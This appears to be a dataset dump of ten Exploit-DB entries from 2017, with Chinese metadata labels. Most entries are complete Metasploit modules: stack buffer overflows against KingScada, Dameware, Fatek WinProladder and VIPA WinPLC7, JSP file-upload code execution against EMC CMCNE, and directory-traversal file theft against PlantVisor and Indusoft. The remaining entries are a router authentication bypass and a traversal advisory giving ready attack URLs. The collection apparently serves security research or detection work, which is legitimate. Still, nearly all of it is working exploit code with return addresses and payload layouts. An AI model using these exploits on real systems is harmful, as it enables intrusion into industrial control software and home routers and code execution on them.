QLWD/code_shield huggingface dataset:
标题: iBall ADSL2+ Home Router - Authentication Bypass EDB-ID: 42740 CVE: 2017-14244 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-09-18 漏洞利用脚本: # Exploit Title: iBall ADSL2+ Home Router Authentication Bypass Vulnerability
# CVE: CVE-2017-14244
# Date: 15-09-2017
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: iBall ADSL2+ Home Router WRA150N https://www.iball.co.in/Product/ADSL2--Home-Router/746
# Firmware version: FW_iB-LR7011A_1.0.2
# Vendor Homepage: https://www.iball.co.in
# Reference: https://www.techipick.com/iball-baton-adsl2-home-router-utstar-wa3002g4-adsl-broadband-modem-authentication-bypass


Vulnerability Details
======================
iBall ADSL2+ Home Router does not properly authenticate when pages are accessed through cgi version. This could potentially allow a remote attacker access sensitive information and perform actions such as reset router, downloading backup configuration, upload backup etc.

How to reproduce
===================
Suppose 192.168.1.1 is the router IP and one of the valid page in router is is  http://192.168.1.1/abcd.html, then the page can be directly accessed as as http://192.168.1.1/abcd.cgi

Example URLs:
* http://192.168.1.1/info.cgi – Status and details
* http://192.168.1.1/upload.cgi – Firmware Upgrade
* http://192.168.1.1/backupsettings.cgi – perform backup settings to PC
* http://192.168.1.1/pppoe.cgi – PPPoE settings
* http://192.168.1.1/resetrouter.cgi – Router reset
* http://192.168.1.1/password.cgi – password settings

POC
=========
* https://www.youtube.com/watch?v=_SvrwCSdn54


 -----------------------Greetz----------------------
++++++++++++++++++ www.0seccon.com ++++++++++++++++++
 Saran,Jithin,Dhani,Vignesh,Hemanth,Sudin,Vijith,Joel URL: https://www.exploit-db.com/exploits/42740
标题: KingScada AlarmServer 3.1.2.13 - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 42724 CVE: 2014-0787 类型: REMOTE 平台: WINDOWS 发布日期: 2017-09-14 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'KingScada AlarmServer Stack Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack based buffer overflow found in
    KingScada < 3.1.2.13. The vulnerability is triggered when 
    sending a specially crafted packet to the 'AlarmServer' 
    (AEserver.exe) service listening on port 12401. During the
    parsing of the packet the 3rd dword is used as a size value
    for a memcpy operation which leads to an overflown stack buffer
   },
   'Author'         => [ 'James Fitts' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2014-0787' ],
     [ 'ZDI', '14-071' ],
     [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ]
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4', 
       {
        # dbghelp.dll
        # pop esi/ pop edi/ retn
        'ret' => 0x02881fbf,
       } 
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Apr 10, 2014'))

  register_options([Opt::RPORT(12401)], self.class)
 end

 def exploit
  connect

  p = payload.encoded

  buf = make_nops(5000)
  buf[0, 4] = [0x000004d2].pack('V')
  buf[4, 4] = [0x0000007b].pack('V')
  buf[8, 4] = [0x0000133c].pack('V') # size for memcpy()
  buf[1128, p.length] = p
  buf[2128, 8] = generate_seh_record(target['ret'])
  buf[2136, 5] = "\xe9\x4b\xfb\xff\xff" # jmp $-1200

  print_status("Trying target #{target.name}...")

  sock.put(buf)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/42724
标题: Carel PlantVisor 2.4.4 - Directory Traversal EDB-ID: 42707 CVE: 2011-3487 类型: WEBAPPS 平台: WINDOWS 发布日期: 2011-09-13 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Carel PlantVisor
              http://www.carel.com/carelcom/web/eng/catalogo/prodotto_dett.jsp?id_prodotto=310
Versions:     <= 2.4.4
Platforms:    Windows
Bug:          directory traversal
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"PlantVisor Enhanced is monitoring and telemaintenance software for
refrigeration and air-conditioning systems controlled by CAREL
instruments."


#######################################################################

======
2) Bug
======


CarelDataServer.exe is a web server listening on port 80.

The software is affected by a directory traversal vulnerability that
allows to download the files located on the disk where it's installed.
Both slash and backslash and their HTTP encoded values are supported.


#######################################################################

===========
3) The Code
===========


http://SERVER/..\..\..\..\..\..\boot.ini
http://SERVER/../../../../../../boot.ini
http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://SERVER/..%2f..%2f..%2f..%2f..%2f..%2fboot.ini


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/42707
标题: Dameware Mini Remote Control 4.0 - Username Stack Buffer Overflow (Metasploit) EDB-ID: 42703 CVE: 2005-2842 类型: REMOTE 平台: WINDOWS 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Dameware Mini Remote Control Username Stack Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack based buffer overflow vulnerability found
    in Dameware Mini Remote Control v4.0. The overflow is caused when sending
    an overly long username to the DWRCS executable listening on port 6129.
    The username is read into a strcpy() function causing an overwrite of
    the return pointer leading to arbitrary code execution.
   },
   'Author'         => [ 'James Fitts' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'CVE', '2005-2842' ],
     [ 'BID', '14707' ],
     [ 'URL', 'http://secunia.com/advisories/16655' ],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-08/1074.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space' => 140,
     'BadChars' => "\x00\x0a\x0d",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'Compat'        =>
      {
       'SymbolLookup' => '+ws2ord',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 
      'Windows XP SP3 EN', 
       { 
        # msvcrt.dll
        # push esp/ retn
        'Ret' => 0x77c35459, 
       } 
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sept 01 2005'))

  register_options(
   [
    Opt::RPORT(6129),
   ], self.class )
 end

 def pkt1
  p = payload.encoded

  boom = "\x43" * 259
  boom[100, 4] = [target.ret].pack('V')
  boom[108, p.length] = p

  packet = "\x00" * 4056
  packet[0, 4] = "\x30\x11\x00\x00"
  packet[4, 4] = "\x00\x00\x00\x00"
  packet[8, 4] = "\xd7\xa3\x70\x3d"
  packet[12, 4] = "\x0a\xd7\x0d\x40"
  packet[16, 20] = "\x00" * 20
  packet[36, 4] = "\x01\x00\x00\x00"

  packet[40, 4] = [0x00002710].pack('V')
  packet[196, 259] = rand_text_alpha(259)
  packet[456, 259] = boom
  packet[716, 259] = rand_text_alpha(259)
  packet[976, 259] = rand_text_alpha(259)
  packet[1236, 259] = rand_text_alpha(259)
  packet[1496, 259] = rand_text_alpha(259)

  return packet
 end

 def pkt2
  packet = "\x00" * 4096
  packet[756, 259] = rand_text_alpha(259)

  return packet
  
 end

 def exploit
  connect

  sock.put(pkt1)
  sock.recv(1024)
  sock.put(pkt2)
  sock.recv(84)

  handler
  disconnect
 end

end
__END__ URL: https://www.exploit-db.com/exploits/42703
标题: EMC CMCNE 11.2.1 - FileUploadController Remote Code Execution (Metasploit) EDB-ID: 42702 CVE: 2013-6810 类型: REMOTE 平台: JAVA 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EMC CMCNE FileUploadController Remote Code Execution',
   'Description'    => %q{
    This module exploits a fileupload vulnerability found in EMC
    Connectrix Manager Converged Network Edition <= 11.2.1. The file
    upload vulnerability is triggered when sending a specially crafted
    filename to the FileUploadController servlet.  This allows the
    attacker to upload a malicious jsp file to anywhere on the remote
    file system.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'james fitts' ],
   'References'     =>
    [
     [ 'ZDI', '13-279' ],
     [ 'CVE', '2013-6810' ]
    ],
   'Privileged' => true,
   'Platform'  => 'win',
   'Arch' => ARCH_JAVA,
   'Targets' =>
    [
     [ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 18 2013'))

  register_options([
   Opt::RPORT(80)
  ], self.class)
 end

 def exploit

  peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
  deploy = "..\\..\\..\\deploy\\dcm-client.war\\"
  jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "")
  @jsp_name = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"

  data = Rex::MIME::Message.new
        data.add_part("#{jsp}", "application/octet-stream", nil, "form-data; name=\"source\"; filename=\"#{deploy}#{@jsp_name}\"")
  data.add_part("#{rand_text_alpha_upper(5)}", nil, nil, "form-data; name=\"driverFolderName\"")

  post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

  print_status("#{peer} - Uploading the JSP Payload...")
  res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => normalize_uri("HttpFileUpload", "FileUploadController.do"),
            'ctype'     => "multipart/form-data; boundary=#{data.bound}",
            'data'      => post_data
        })

  if res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/
            print_good("File uploaded successfully!")
   print_status("Executing '#{@jsp_name}' now...")

   res = send_request_cgi({
    'method' => 'GET',
    'uri'  => normalize_uri("dcm-client", "#{@jsp_name}")
   })

        else
            print_error("Does not look like the files were uploaded to #{peer}...")
        end


 end

end URL: https://www.exploit-db.com/exploits/42702
标题: Carel PlantVisor 2.4.4 - Directory Traversal Information Disclosure (Metasploit) EDB-ID: 42706 CVE: 2011-3487 类型: WEBAPPS 平台: WINDOWS 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Auxiliary
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Carel Pl@ntVisor Directory Traversal',
   'Description'    => %q{
    This module exploits a directory traversal vulnerability
    found in Carel Pl@ntVisor <= 2.4.4. The vulnerability is
    triggered by sending a specially crafted GET request to the
    victim server.
   },
   'Author'         => [ 'james fitts' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2011-3487' ],
     [ 'BID', '49601' ],
    ],
   'DisclosureDate' => 'Jun 29 2012'))

  register_options(
   [
    OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
    OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
    Opt::RPORT(80)
   ], self.class )
 end

 def run

 depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
 levels = "/" + ("..%5c" * depth)

 res = send_request_raw({
  'method' => 'GET',
  'uri'  => "#{levels}#{datastore['FILE']}",
 })

 if res and res.code == 200
  loot = res.body
  if not loot or loot.empty?
   print_status("File from #{rhost}:#{rport} is empty...")
   return
  end
  file = ::File.basename(datastore['FILE'])
  path = store_loot('plantvisor.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
  print_status("Stored #{datastore['FILE']} to #{path}")
  return
 end

 end
end URL: https://www.exploit-db.com/exploits/42706
标题: Indusoft Web Studio - Directory Traversal Information Disclosure (Metasploit) EDB-ID: 42699 CVE: 2014-0780 类型: WEBAPPS 平台: WINDOWS 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Auxiliary
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Indusoft Web Studio Directory Traversal',
   'Description'    => %q{
    This module exploits a flaw found in Indusoft Web Studio
    <= 7.1 before SP2 Patch 4. This specific flaw allows users
    to browse outside of the webroot to download files found
    on the underlying system
   },
   'Author'         => [ 'James Fitts' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'CVE', '2014-0780' ],
     [ 'ZDI', '14-118/' ],
     [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02']
    ],
   'DisclosureDate' => 'Jan 18 2013'))

  register_options(
   [
    OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
    OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
    Opt::RPORT(80)
   ], self.class )
 end

 def run

 depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
 levels = "/" + ("../" * depth)

 res = send_request_raw({
  'method' => 'GET',
  'uri'  => "/" + levels + datastore['FILE'],
 })

 if res and res.code == 200 and res.message =~ /Sending file/
  loot = res.body
  if not loot or loot.empty?
   print_status("File from #{rhost}:#{rport} is empty...")
   return
  end
  file = ::File.basename(datastore['FILE'])
  path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
  print_status("Stored #{datastore['FILE']} to #{path}")
  return
 end

 end
end URL: https://www.exploit-db.com/exploits/42699
标题: EMC CMCNE Inmservlets.war FileUploadController 11.2.1 - Remote Code Execution (Metasploit) EDB-ID: 42701 CVE: 2013-6810 类型: REMOTE 平台: JAVA 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EMC CMCNE Inmservlets.war FileUploadController Remote Code Execution',
   'Description'    => %q{
    This module exploits a file upload vulnerability found in EMC 
    Connectrix Manager Converged Network Edition <= 11.2.1. The file
    upload vulnerability is triggered when sending a specially crafted
    filename to the FileUploadController servlet found within the 
    Inmservlets.war archive. This allows the attacker to upload a
    specially crafted file which leads to remote code execution in the
    context of the server user.
   },
   'Author'   => [ 'james fitts' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'ZDI', '13-280' ],
     [ 'CVE', '2013-6810' ]
    ],
   'Privileged' => true,
   'Platform'  => 'win',
   'Arch' => ARCH_JAVA,
   'Targets' =>
    [
     [ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 18 2013'))

  register_options([
   Opt::RPORT(80)
  ], self.class)
 end

 def exploit

  peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
  deploy = "..\\..\\..\\deploy\\dcm-client.war\\"
  jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "")
  @jsp_name = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"

  data = Rex::MIME::Message.new
  data.add_part("#{jsp}", nil, nil, "form-data; name=\"ftproot\"; filename=\"#{deploy}#{@jsp_name}\"")

  post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

  print_status("#{peer} - Uploading the JSP Payload...")
  res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => normalize_uri("inmservlets", "FileUploadController"),
            'ctype'     => "multipart/form-data; boundary=#{data.bound}",
            'data'      => post_data,
   'headers' => {
    'ROOTDIR' => "ftproot"
   }
        })

  if res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/
   print_good("File uploaded successfully!")
   print_status("Executing '#{@jsp_name}' now...")
   res = send_request_cgi({
    'method' => 'GET',
    'uri'  => normalize_uri("dcm-client", "#{@jsp_name}")
   })
  else
   print_error("Does not look like the files were uploaded to #{peer}...")
  end

 end

end URL: https://www.exploit-db.com/exploits/42701
标题: Fatek Automation PLC WinProladder 3.11 Build 14701 - Stack Buffer Overflow (Metasploit) EDB-ID: 42700 CVE: 2016-8377 类型: REMOTE 平台: WINDOWS 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Fatek Automation PLC WinProladder Stack-based Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack based buffer overflow found in Fatek Automation
    PLC WinProladder v3.11 Build 14701. The vulnerability is triggered when a client
    connects to a listening server. The client does not properly sanitize the length
    of the received input prior to placing it on the stack.
   },
   'Author'         => [ 'james fitts' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'ZDI', '16-672' ],
     [ 'CVE', '2016-8377' ],
     [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-350-01' ]
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows 7 EN', 
       {
        # CC3250MT.dll
        # pop ecx/ pop ebp/ retn
        'Ret' => 0x32514d79
       } 
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Dec 15 2016'))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The port to listen on", 500])
   ], self.class)
 end

 def on_client_data(client)
  p = payload.encoded

  pkt = "A" * 10000
  pkt[1092, 4] = [0x04eb9090].pack('V') # jmp $+6
  pkt[1096, 4] = [target.ret].pack('V')
  pkt[1100, 50] = "\x90" * 50
  pkt[1150, p.length] = p

  client.put(pkt)
  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/42700
标题: Viap Automation WinPLC7 5.0.45.5921 - Recv Buffer Overflow (Metasploit) EDB-ID: 42693 CVE: 2017-5177 类型: REMOTE 平台: WINDOWS 发布日期: 2017-09-13 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack based buffer overflow found in VIPA
    Automation WinPLC7 <= 5.0.45.5921. The overflow is triggered when
    WinPLC7 connects to a remote server and accepts a malicious packet.
    The first 2 bytes of this packet are read in and used as the size
    value for a later recv function.  If a size value of sufficiently
    large size is supplied a stack buffer overflow will occur
   },
   'Author'         => [ 'james fitts' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'ZDI', '17-112' ],
     [ 'CVE', '2017-5177' ],
     [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-054-01' ]
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "",
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows 7 EN', 
       {
        # ws7v5.exe
        # jmp esp
        'Ret' => 0x00422354
       } 
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Feb 28 2017'))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The port to listen on", 7777])
   ], self.class)
 end

 def on_client_data(client)
  p = payload.encoded

  pkt =  "\x13\x88\x00\x00\x00" # len
  pkt += Rex::Text.pattern_create(5000)

  pkt[848, 4] = [target.ret].pack('V')
  pkt[852, p.length] = p

  client.put(pkt)
  handler
  service.close_client(client)
 end

end URL: https://www.exploit-db.com/exploits/42693